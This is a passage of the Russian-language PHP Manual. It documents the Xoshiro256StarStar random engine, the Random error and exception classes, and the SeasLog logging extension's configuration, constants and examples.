Создаёт новый объект движка xoshiro256**

  • « Random\Engine\Xoshiro256StarStar
  • Random\Engine\Xoshiro256StarStar::__debugInfo »
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Создаёт новый объект движка xoshiro256**

Random\Engine\Xoshiro256StarStar::__construct

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::__construct — Создаёт новый объект движка xoshiro256**

Описание

public Random\Engine\Xoshiro256StarStar::__construct(string|int|null $seed = null)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

seed

Способ заполнения внутреннего 256-битного (32 байта) состояния, состоящего из четырёх 64-битных целых чисел без знака, зависит от типа, используемого в качестве параметра seed.

Type | Описание
null | Заполняет состояние 32 случайными байтами, сгенерированными с помощью CSPRNG.
int | Заполняет состояние четырьмя последовательными значениями, сгенерированными с помощью алгоритма SplitMix64, который был заполнен параметром seed, интерпретированным как 64-битное целое число без знака.
string | Заполняет состояние, интерпретируя 32-байтовую строку (string) как четыре 64-битных целых числа без знака.

Ошибки

  • Если длина строки (string) параметра seed не равна 32 байтам, будет выброшена ошибка ValueError.
  • Если строка (string) параметра seed состоит из 32 нулевых байтов ("\x00"), будет выброшена ошибка ValueError.

Примеры

Пример #1 Пример использования Random\Engine\Xoshiro256StarStar::__construct()

<?php
// Использование случайного 256-битного значения.
$e = new \Random\Engine\Xoshiro256StarStar();

$r = new \Random\Randomizer($e);
?>

Пример #2 Выведение значения из строки (string)

<?php
$string = "My string seed";

// Хеширование строки с помощью SHA-256, используя двоичный вывод, чтобы превратить
// $string в 256-битное значение. Использование одной и той же строки приведёт
// к одной и той же последовательности случайностей.
$e = new \Random\Engine\Xoshiro256StarStar(
hash('sha256', $string, binary: true)
);

echo bin2hex($e->generate()), "\n";
?>

Результат выполнения данного примера:

6e013453678388c2

User Contributed Notes

There are no user contributed notes for this page.


Возвращает внутреннее состояние движка

  • « Random\Engine\Xoshiro256StarStar::__construct
  • Random\Engine\Xoshiro256StarStar::generate »
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Возвращает внутреннее состояние движка

Random\Engine\Xoshiro256StarStar::__debugInfo

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::__debugInfo — Возвращает внутреннее состояние движка

Описание

public Random\Engine\Xoshiro256StarStar::__debugInfo(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Random\Engine\Xoshiro256StarStar::__debugInfo()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Генерирует 64 бита случайной последовательности

  • « Random\Engine\Xoshiro256StarStar::__debugInfo
  • Random\Engine\Xoshiro256StarStar::jump »
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Генерирует 64 бита случайной последовательности

Random\Engine\Xoshiro256StarStar::generate

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::generate — Генерирует 64 бита случайной последовательности

Описание

public Random\Engine\Xoshiro256StarStar::generate(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, представляющую беззнаковое 64-битное целое число в порядке little-endian.

User Contributed Notes

There are no user contributed notes for this page.


Эффективно перемещает движок вперёд на 2^128 шагов

  • « Random\Engine\Xoshiro256StarStar::generate
  • Random\Engine\Xoshiro256StarStar::jumpLong »
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Эффективно перемещает движок вперёд на 2^128 шагов

Random\Engine\Xoshiro256StarStar::jump

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::jump — Эффективно перемещает движок вперёд на 2^128 шагов

Описание

public Random\Engine\Xoshiro256StarStar::jump(): void

Перемещает состояние алгоритма вперёд на 2128 шага, как если бы метод Random\Engine\Xoshiro256StarStar::generate() был вызван 2128 раза.

Цель метода - облегчить создание нового движка Random\Engine\Xoshiro256StarStar из существующего заполненного движка Random\Engine\Xoshiro256StarStar. Заданный движок действует как проект, который можно клонировать и повторно использовать для создания 2128 непересекающихся последовательностей с 2128 значениями каждая.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Random\Engine\Xoshiro256StarStar::jump()

<?php
use Random\Engine\Xoshiro256StarStar;
use Random\Randomizer;

$blueprintRng = new Xoshiro256StarStar(0);

$fibers = [];
for ($i = 0; $i < 8; $i++) {
$fiberRng = clone $blueprintRng;
$blueprintRng->jump();

$fiber = new Fiber(static function () use ($fiberRng, $i): void {
$randomizer = new Randomizer($fiberRng);

while (true) {
Fiber::suspend();
echo "{$i}: ", $randomizer->getInt(0, 100), "\n";
}
});
$fiber->start();

$fibers[] = $fiber;
}

// Даже если файберы выполняются в случайном порядке, они будут выводить одно и то же значение каждый раз,
// потому что у каждого из них свой собственный уникальный экземпляр RNG.
$randomizer = new Randomizer();

$fibers = $randomizer->shuffleArray($fibers);
foreach ($fibers as $fiber) {
$fiber->resume();
}

$fibers = $randomizer->shuffleArray($fibers);
foreach ($fibers as $fiber) {
$fiber->resume();
}
?>

Результатом выполнения данного примера будет что-то подобное:

4: 89
3: 10
2: 63
1: 75
6: 41
5: 56
0: 16
7: 60
7: 34
6: 58
1: 74
4: 63
3: 3
5: 42
2: 45
0: 86

Смотрите также

  • Random\Engine\Xoshiro256StarStar::jumpLong() - Эффективно перемещает движок вперёд на 2^192 шага

User Contributed Notes

There are no user contributed notes for this page.


Эффективно перемещает движок вперёд на 2^192 шага

  • « Random\Engine\Xoshiro256StarStar::jump
  • Random\Engine\Xoshiro256StarStar::__serialize »
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Эффективно перемещает движок вперёд на 2^192 шага

Random\Engine\Xoshiro256StarStar::jumpLong

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::jumpLong — Эффективно перемещает движок вперёд на 2^192 шага

Описание

public Random\Engine\Xoshiro256StarStar::jumpLong(): void

Перемещает состояние алгоритма вперёд на 2192 шага, как если бы метод Random\Engine\Xoshiro256StarStar::generate() был вызван 2192 раза.

Цель метода - облегчить создание нового движка Random\Engine\Xoshiro256StarStar из существующего заполненного движка Random\Engine\Xoshiro256StarStar. Заданный движок действует как проект, который можно клонировать и повторно использовать для создания 264 непересекающихся последовательностей с 2192 значениями каждая.

Метод может быть объединён с Random\Engine\Xoshiro256StarStar::jump() для дальнейшего разделения каждой из 264 последовательностей, сгенерированных данным методом, на 264 последовательности по 2128 значения каждая.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Random\Engine\Xoshiro256StarStar::jumpLong()

<?php
$blueprintRng = new \Random\Engine\Xoshiro256StarStar(0);

// У каждого родительского движка свой собственный блок из 2**192 значений.
$parent1 = clone $blueprintRng;
$blueprintRng->jumpLong();

$parent2 = clone $blueprintRng;
$blueprintRng->jumpLong();

// У каждого из дочерних движков свой собственный блок из 2**128 значений,
взятый из блока 2**192 значений их родительского движка.
$child1a = clone $parent1;
$parent1->jump();
$child1b = clone $parent1;
$parent1->jump();

$child2a = clone $parent2;
$parent2->jump();
$child2b = clone $parent2;
$parent2->jump();

echo "Дочерний 1A: ", bin2hex($child1a->generate()), "\n";
echo "Дочерний 1B: ", bin2hex($child1b->generate()), "\n";
echo "Дочерний 2A: ", bin2hex($child2a->generate()), "\n";
echo "Дочерний 2B: ", bin2hex($child2b->generate()), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

Дочерний 1A: b4f275cb365fec99
Дочерний 1B: 2cd646c8ed156237
Дочерний 2A: eb3729a722a504e7
Дочерний 2B: d4208dc85bdd6dc3

Смотрите также

  • Random\Engine\Xoshiro256StarStar::jump() - Эффективно перемещает движок вперёд на 2^128 шагов

User Contributed Notes

There are no user contributed notes for this page.


Сериализует объект Xoshiro256StarStar

  • « Random\Engine\Xoshiro256StarStar::jumpLong
  • Random\Engine\Xoshiro256StarStar::__unserialize »
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Сериализует объект Xoshiro256StarStar

Random\Engine\Xoshiro256StarStar::__serialize

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::__serialize — Сериализует объект Xoshiro256StarStar

Описание

public Random\Engine\Xoshiro256StarStar::__serialize(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Random\Engine\Xoshiro256StarStar::__serialize()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Десериализует параметр data в объект Xoshiro256StarStar

  • « Random\Engine\Xoshiro256StarStar::__serialize
  • Random\RandomError »
  • PHP Manual
  • Random\Engine\Xoshiro256StarStar
  • Десериализует параметр data в объект Xoshiro256StarStar

Random\Engine\Xoshiro256StarStar::__unserialize

(PHP 8 >= 8.2.0)

Random\Engine\Xoshiro256StarStar::__unserialize — Десериализует параметр data в объект Xoshiro256StarStar

Описание

public Random\Engine\Xoshiro256StarStar::__unserialize(array $data): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Random\Engine\Xoshiro256StarStar::__unserialize()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Класс Random\RandomError

(PHP 8 >= 8.2.0)

Введение

Базовый класс для ошибок Error, возникающих при генерации или использовании случайной последовательности.

Обзор классов

class Random\RandomError extends Error {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Random\BrokenRandomEngineError

(PHP 8 >= 8.2.0)

Введение

Указывает, что используемый объект Random\Engine сломан, например, потому что он сильно смещён.

Обзор классов

class Random\BrokenRandomEngineError extends Random\RandomError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Random\RandomException

(PHP 8 >= 8.2.0)

Введение

Базовый класс для исключений Exception, возникающих при генерации или использовании случайной последовательности.

Обзор классов

class Random\RandomException extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Seaslog

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Функции Seaslog
    • seaslog_get_author — Получает автора SeasLog
    • seaslog_get_version — Получает версию SeasLog
  • SeasLog — Класс SeasLog
    • SeasLog::alert — Записывает информацию уровня "alert" в журнал
    • SeasLog::analyzerCount — Получает количество журналов по уровню, log_path и key_word
    • SeasLog::analyzerDetail — Получает детализацию журнала по уровню, log_path, key_word, start, limit, order
    • SeasLog::closeLoggerStream — Вручную освобождает поток от регистратора
    • SeasLog::__construct — Описание
    • SeasLog::critical — Записывает информацию уровня "critical" в журнал
    • SeasLog::debug — Записывает информацию уровня "debug" в журнал
    • SeasLog::__destruct — Описание
    • SeasLog::emergency — Записывает информацию уровня "emergency" в журнал
    • SeasLog::error — Записывает информацию уровня "error" в журнал
    • SeasLog::flushBuffer — Очищает буфер логов, делает дамп в файл приложения или отправляет на удалённый API с помощью tcp/udp
    • SeasLog::getBasePath — Получает базовый путь SeasLog
    • SeasLog::getBuffer — Получает буфер логов в памяти в виде массива
    • SeasLog::getBufferEnabled — Определяет, включён ли буфер
    • SeasLog::getDatetimeFormat — Получает стиль формата даты и времени SeasLog
    • SeasLog::getLastLogger — Получает последний путь регистратора SeasLog
    • SeasLog::getRequestID — Получает дифференцированные запросы SeasLog request_id
    • SeasLog::getRequestVariable — Получает переменную запроса SeasLog
    • SeasLog::info — Записывает информацию уровня "info" в журнал
    • SeasLog::log — Общая функция записи в журнал
    • SeasLog::notice — Записывает информацию уровня "notice" в журнал
    • SeasLog::setBasePath — Устанавливает базовый путь SeasLog
    • SeasLog::setDatetimeFormat — Устанавливает стиль формата даты и времени SeasLog
    • SeasLog::setLogger — Устанавливает имя регистратора SeasLog
    • SeasLog::setRequestID — Устанавливает дифференцированные запросы SeasLog request_id
    • SeasLog::setRequestVariable — Устанавливает переменную запроса SeasLog вручную
    • SeasLog::warning — Записывает информацию уровня "warning" в журнал

User Contributed Notes

There are no user contributed notes for this page.


Введение

Seaslog - это эффективный, быстрый и стабильный модуль ведения журнала для PHP.

Журнал, который обычно представляет собой запись работы системы, программного обеспечения и приложения. Анализ журнала может помочь пользователям понять работу системы, программного обеспечения и ситуацию с приложениями. Если журнал вашего приложения достаточно обширен, модуль также может анализировать поведение, тип, региональное распределение и другую дополнительную информацию при предыдущем использовании. Журнал приложений также указывает на несколько уровней одновременно, вы можете легко получить анализ состояния работоспособности приложения, своевременно найти проблемы и быстро определить местоположение, а также решить проблему, исправить ошибку.

Функция syslog error_log, встроенная в PHP, является мощной и высокопроизводительной, но из-за различных дефектов (у error_log нет уровня ошибок, нет фиксированного формата, syslog независимо от модуля и смешивается с системным журналом), что снижает гибкость и не может соответствовать требованиям приложения.

Хорошей новостью является то, что существует ряд сторонних библиотек классов журналов, созданных для устранения дефектов, таких как log4php, plog, monolog (конечно, для ведения журнала есть много приложений).

Итак, существуют ли библиотеки для ведения журнала, отвечающих следующим требованиям:

  • Модули, классификация
  • Простая конфигурация (желательно без конфигурации)
  • Чёткий формат журнала и простота понимания
  • Простое приложение и хорошая производительность
Seaslog отвечает всем этим требованиям.

Что предусмотрено в настоящее время:

  • В PHP-проекте быстро записывает спецификацию журнала
  • Настраивается каталог и модуль журнала по умолчанию
  • Настраивается каталог журнала и текущая конфигурация записи
  • Предварительный анализ системы раннего предупреждения
  • Эффективный буфер журнала и удобная отладка буфера
  • Следует спецификации интерфейса журнала PSR-3
  • Автоматически записывает информацию об ошибках
  • Автоматически записывает ненормальную информацию
  • Поддерживает подключения к TCP-порту, отправка с RFC5424
  • Поддерживает подключения порта UDP, отправка с RFC5424
  • Поддерживает дифференцированные запросы с помощью RequestId
  • Поддерживает настройку шаблонов журнала

Подробнее в » документации SeasLog на GitHub.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/seaslog

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Seaslog
Имя | По умолчанию | Место изменения | Список изменений
seaslog.appender | 1 | PHP_INI_SYSTEM |
seaslog.appender_retry | 0 | PHP_INI_ALL |
seaslog.level | 8 | PHP_INI_ALL |
seaslog.remote_host | 127.0.0.1 | PHP_INI_ALL |
seaslog.remote_port | 514 | PHP_INI_ALL |
seaslog.remote_timeout | 1 | PHP_INI_SYSTEM |
seaslog.default_basepath | /var/log/www | PHP_INI_SYSTEM |
seaslog.default_logger | default | PHP_INI_SYSTEM |
seaslog.default_template | %T | %L | %P | %Q | %t | %M | PHP_INI_SYSTEM |
seaslog.default_datetime_format | Y-m-d H:i:s | PHP_INI_SYSTEM |
seaslog.trace_error | 1 | PHP_INI_ALL |
seaslog.trace_exception | 0 | PHP_INI_SYSTEM |
seaslog.trace_notice | 0 | PHP_INI_ALL |
seaslog.trace_warning | 0 | PHP_INI_ALL |
seaslog.use_buffer | 0 | PHP_INI_SYSTEM |
seaslog.buffer_size | 0 | PHP_INI_ALL |
seaslog.buffer_disabled_in_cli | 0 | PHP_INI_SYSTEM |
seaslog.disting_type | 0 | PHP_INI_SYSTEM |
seaslog.disting_folder | 1 | PHP_INI_SYSTEM |
seaslog.disting_by_hour | 0 | PHP_INI_SYSTEM |
seaslog.recall_depth | 0 | PHP_INI_ALL |
seaslog.trim_wrap | 0 | PHP_INI_ALL |
seaslog.ignore_warning | 1 | PHP_INI_ALL |
seaslog.throw_exception | 1 | PHP_INI_ALL |

Краткое разъяснение конфигурационных директив.

seaslog.appender int

Переключает хранилище данных журнала записей. 1 - Файл, 2 - TCP, 3 - UDP (по умолчанию 1)

SeasLog отправит журнал на сервер tcp://remote_host:remote_port или udp://remote_host:remote_port, если seaslog.appender настроен на 2 (TCP) или 3 (UDP).

Когда SeasLog отправляет журнал по TCP/UDP, стиль соответствует RFC5424. {logInfo}, на который влияет seaslog.default_template.

Стиль журнала отформатирован следующим образом:
<15>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | DEBUG | 21423 | 599157af4e937 | 1466787583.322 | this is a neeke debug
<14>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | INFO | 21423 | 599157af4e937 | 1466787583.323 | this is a info log
<13>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | NOTICE | 21423 | 599157af4e937 | 1466787583.324 | this is a notice log
seaslog.appender_retry int

Записывает количество повторных попыток журнала. По умолчанию 0 (не записывает)

seaslog.buffer_disabled_in_cli int

Отключает буфер в CLI. 1 - Да, 0 - Нет (по умолчанию)

Включите опцию buffer_disabled_in_cli. buffer_disabled_in_cli выключен по умолчанию. Если включить buffer_disabled_in_cli и запустить его в CLI, параметр seaslog.use_buffer будет сброшен, Seaslog НЕМЕДЛЕННО сделает запись в хранилище данных.

seaslog.buffer_size int

Задайте для параметра buffer_size значение 100. Значение buffer_size по умолчанию 0, это означает, что буфер не используется. Если buffer_size > 0, SeasLog перезапишет данные в хранилище, если размер предварительно записанного в память журнала >= buffer_size, а затем обновите опрос памяти.

seaslog.default_basepath string

Базовый путь журнала по умолчанию. По умолчанию "/var/log/www".

seaslog.default_datetime_format string

Стиль DateTime. По умолчанию "Y-m-d H:i:s".

seaslog.default_logger string

Путь к регистратору по умолчанию. По умолчанию "default".

seaslog.disting_by_hour int

Переключает режим регистратора по часам. 1 - Да, 0 - Нет (по умолчанию)

Замечание:

seaslog.disting_by_hour = 1 переключает режим использования Logger DisTing по часам. Это означает, что SeasLog будет создавать файл каждый час.

seaslog.disting_folder int

Переключает режим использование регистратора по папкам. 1 - Да (по умолчанию), 0 - Нет.

Замечание:

seaslog.disting_folder = 1 переключает режим использования Logger DisTing по папкам, это означает, что SeasLog будет создавать файлы в папках и при этой настройке закрытия SeasLog создаст файл с подчёркиванием, используя тип регистратора и время, например, default_20180211.log.

seaslog.disting_type int

Переключает режим использования регистратора по типу. 1 - Да, 0 - Нет (по умолчанию)

Замечание:

seaslog.disting_type = 1 переключает режим использования Logger DisTing по типу, это означает, что SeasLog создаст файл info\warn\error или другого типа.

seaslog.ignore_warning int

Переключает режим игнорирования предупреждений SeasLog. 1 - Да (по умолчанию), 0 - Нет.

Замечание:

seaslog.ignore_warning = 1 Открывает предупреждение об игнорировании самого SeasLog. Когда права доступа к каталогу или порты сервера приёма заблокированы, они игнорируются; при закрытии выдаётся предупреждение.

seaslog.level int

Уровень записи регистратора. По умолчанию 8 (всё). 0 - EMERGENCY, 1 - ALERT, 2 - CRITICAL, 3 - ERROR, 4 - WARNING, 5 - NOTICE, 6 - INFO, 7 - DEBUG, 8-ALL

Замечание:

Примечание: элемент конфигурации был изменён, начиная с версии 1.7.0. До версии 1.7.0, чем меньше значение, тем больше записей ведётся в соответствии с уровнем: 0 - всё, 1 - debug, 2 - info, 3-notice, 4-warning, 5-error, 6-critical, 7-alert, 8-emergency. До версии 1.7.0 значение по умолчанию - 0 (всё).

seaslog.recall_depth int

Глубина вызова функции журнала. Будет затронута переменная LineNo в %F. По умолчанию 0

seaslog.remote_host string

Если вы используете запись TCP или UDP, настройте удалённый IP. По умолчанию "127.0.0.1".

seaslog.remote_port int

Если вы используете запись TCP или UDP, настройте удалённый порт. По умолчанию 514.

seaslog.remote_timeout int

Если вы используете запись TCP или UDP, настройте удалённое время ожидания. По умолчанию 1 секунда

seaslog.throw_exception int

Переключает режим выбрасывания исключения SeasLog. 1 - Да (по умолчанию), 0 - Нет.

Замечание:

seaslog.throw_exception = 1 Открывает исключение, которое выбрасывает сам SeasLog. Если администрация каталога или порт принимающего сервера заблокированы, выбрасывается исключение; не выбрасывается исключение при закрытии.

seaslog.trace_error int

Автоматическая запись "error" регистратором по умолчанию. 1 - Да (по умолчанию), 0 - Нет.

seaslog.trace_exception int

Автоматическая запись "exception" регистратором по умолчанию. 1 - Да, 0 - Нет (по умолчанию).

seaslog.trace_notice int

Автоматическая запись "notice" регистратором по умолчанию. 1 - Да, 0 - Нет (по умолчанию).

seaslog.trace_warning int

Автоматическая запись "warning" регистратором по умолчанию. 1 - Да, 0 - Нет (по умолчанию).

seaslog.trim_wrap int

Обрезает \n и \r в сообщении журнала. 1 - Да, 0 - Нет (по умолчанию)

seaslog.use_buffer int

Переключает режим использования буфера журнала с памятью. 1 - Да, 0 - Нет (по умолчанию)

Замечание:

seaslog.use_buffer = 1 Включите configure use_buffer. По умолчанию use_buffer выключен. Если включить use_buffer, SeasLog будет предварительно записывать журнал в память и он будет перезаписан в хранилище данных путём завершения запроса или выхода из процесса PHP (PHP RSHUTDOWN или PHP MSHUTDOWN).

seaslog.default_template string

Шаблон журнала по умолчанию. По умолчанию "%T | %L | %P | %Q | %t | %M".

Замечание:

Предоставляются следующие переменные по умолчанию, которые можно использовать непосредственно в шаблоне журнала и заменять соответствующим значением при создании журнала.

Шаблон журнала по умолчанию: seaslog.default_template = "%T | %L | %P | %Q | %t | %M", это означает, что стиль журнала по умолчанию: {dateTime} | {level} | {pid} | {uniqid} | {timeStamp} | {logInfo}

Если вы используете собственный шаблон журнала, например: seaslog.default_template = "[%T]:%L %P %Q %t %M", это будет означать, что стиль журнала был настроен как: [{dateTime}]:{level} {pid} {uniqid} {timeStamp} {logInfo}

Таблица переменных по умолчанию Seaslog
Variable Name | Описание
%L | Уровень.
%M | Сообщение.
%T | DateTime. Такое как 2017-08-16 19:15:02, затронутое seaslog.default_datetime_format.
%t | Timestamp. Такое как 1502882102.862, с точностью до миллисекунд.
%Q | RequestId. Чтобы различать один запрос, например, не вызывать функцию SeasLog::setRequestId($string), при инициализации запроса используется уникальное значение, сгенерированное встроенной функцией static char *get_uniqid().
%H | HostName.
%P | ProcessId.
%D | Domain:Port. Такое как www.cloudwise.com:80; Если CLI, то cli.
%R | URI запроса. Такой как /app/user/signin; Если CLI, то, например CliIndex.php.
%m | Метод запроса. Такой как Get; Если CLI, то, используется команда, например, /bin/bash.
%I | IP-адрес клиента; Если CLI, то local. Приоритет значений: HTTP_X_REAL_IP > HTTP_X_FORWARDED_FOR > REMOTE_ADDR
%F | FileName:LineNo. Такое как UserService.php:118.
%U | MemoryUsage в байтах. Вызов zend_memory_usage.
%u | PeakMemoryUsage в байтах. Вызов zend_memory_peak_usage.
%C | TODO Class::Action. Такое как UserService::getUserInfo

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

SEASLOG_VERSION (string)
SEASLOG_AUTHOR (string)
SEASLOG_ALL (string)
"ALL"
SEASLOG_DEBUG (string)
"DEBUG" - Подробная информация об отладке. Подробные информационные события.
SEASLOG_INFO (string)
"INFO" - Информационные события. Подчёркивает запущенный процесс приложения.
SEASLOG_NOTICE (string)
"NOTICE" - Нормальные, но важные события. Информация, которая важнее уровня INFO во время выполнения.
SEASLOG_WARNING (string)
"WARNING" - Исключительные случаи, которые не являются ошибками. Потенциально ошибочная информация, которая требует внимания и требует исправления.
SEASLOG_ERROR (string)
"ERROR" - Ошибки во время выполнения, которые не требуют немедленных действий, но обычно должны быть исправлены.
SEASLOG_CRITICAL (string)
"CRITICAL" - Критические условия. Требуется немедленное исправление, программный компонент недоступен.
SEASLOG_ALERT (string)
"ALERT" - Действия должны быть предприняты немедленно. Немедленное внимание должно быть уделено соответствующему персоналу для аварийного ремонта.
SEASLOG_EMERGENCY (string)
"EMERGENCY" - Система непригодна для использования.
SEASLOG_DETAIL_ORDER_ASC (int)
1
SEASLOG_DETAIL_ORDER_DESC (int)
2
SEASLOG_APPENDER_FILE (int)
1
SEASLOG_APPENDER_TCP (int)
2
SEASLOG_APPENDER_UDP (int)
3
SEASLOG_CLOSE_LOGGER_STREAM_MOD_ALL (int)
1
SEASLOG_CLOSE_LOGGER_STREAM_MOD_ASSIGN (int)
2
SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT (int)
1
SEASLOG_REQUEST_VARIABLE_REQUEST_URI (int)
2
SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD (int)
3
SEASLOG_REQUEST_VARIABLE_CLIENT_IP (int)
4

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Получает и устанавливает базовый путь

<?php
$basePath1 = SeasLog::getBasePath();

SeasLog::setBasePath('/log/base_test');
$basePath2 = SeasLog::getBasePath();

var_dump($basePath1,$basePath2);

?>

Результатом выполнения данного примера будет что-то подобное:

  string(12) "/var/log/www"
  string(14) "/log/base_test"

Пример #2 Получает и устанавливает логирование

<?php
$lastLogger1 = SeasLog::getLastLogger();

SeasLog::setLogger('testModule/app1');
$lastLogger2 = SeasLog::getLastLogger();

var_dump($lastLogger1,$lastLogger2);

?>

Результатом выполнения данного примера будет что-то подобное:

string(7) "default"
string(15) "testModule/app1"

Пример #3 Журнал быстрой записи

<?php
SeasLog::log(SEASLOG_ERROR,'тестовая ошибка, сделанная ::log');
SeasLog::debug('отладка {userName}',array('{userName}' => 'neeke'));
SeasLog::info('запись информационного сообщения в журнал');
SeasLog::notice('запись предупреждения в журнал');
SeasLog::warning('сайт {website} не работает, пожалуйста, выполните {action} как можно скорее!',array('{website}' => 'github.com','{action}' => 'rboot'));
SeasLog::error('запись ошибки в журнал');
SeasLog::critical('произошло что-то критичное');
SeasLog::alert('да, это сообщение {messageName}',array('{messageName}' => 'alertMSG'));
SeasLog::emergency('Только что полностью выгорел соседний дом! {note}',array('{note}' => 'Это шутка'));
?>

Шаблон по умолчанию: seaslog.default_template = "%T | %L | %P | %Q | %t | %M". Это означает, что по умолчанию стиль записи журнала: `{dateTime} | {level} | {pid} | {uniqid} | {timeStamp} | {logInfo}`.

Результатом выполнения данного примера будет что-то подобное:

seaslog.appender = 1

2014-07-27 08:53:52 | ERROR | 23625 | 599159975a9ff | 1406422432.786 | тестовая ошибка, сделанная log
2014-07-27 08:53:52 | DEBUG | 23625 | 599159975a9ff | 1406422432.786 | отладка neeke
2014-07-27 08:53:52 | INFO | 23625 | 599159975a9ff | 1406422432.787 | запись информационного сообщения в журнал
2014-07-27 08:53:52 | NOTICE | 23625 | 599159975a9ff | 1406422432.787 | запись предупреждения в журнал
2014-07-27 08:53:52 | WARNING | 23625 | 599159975a9ff | 1406422432.787 | сайт github.com не работает, пожалуйста, выполните rboot как можно скорее!
2014-07-27 08:53:52 | ERROR | 23625 | 599159975a9ff | 1406422432.787 | запись ошибки в журнал
2014-07-27 08:53:52 | CRITICAL | 23625 | 599159975a9ff | 1406422432.787 | произошло что-то критичное
2014-07-27 08:53:52 | EMERGENCY | 23625 | 599159975a9ff | 1406422432.787 | Только что полностью выгорел соседний дом! Это шутка

Результатом выполнения данного примера будет что-то подобное:

seaslog.appender = 2 или seaslog.appender = 3

The log style finally formatted such as:
<15>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | DEBUG | 21423 | 599157af4e937 | 1466787583.322 | отладка neeke
<14>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | INFO | 21423 | 599157af4e937 | 1466787583.323 | запись информационного сообщения в журнал
<13>1 2017-08-27T01:24:59+08:00 vagrant-ubuntu-trusty test/logger[27171]: 2016-06-25 00:59:43 | NOTICE | 21423 | 599157af4e937 | 1466787583.324 | запись предупреждения в журнал

Пример #4 Быстрый подсчёт некоторого типа значения подсчёта журнала

SeasLog получает значение счётчика `grep -wc`, использует системный канал и возвращает в PHP (массив или целое число).

<?php
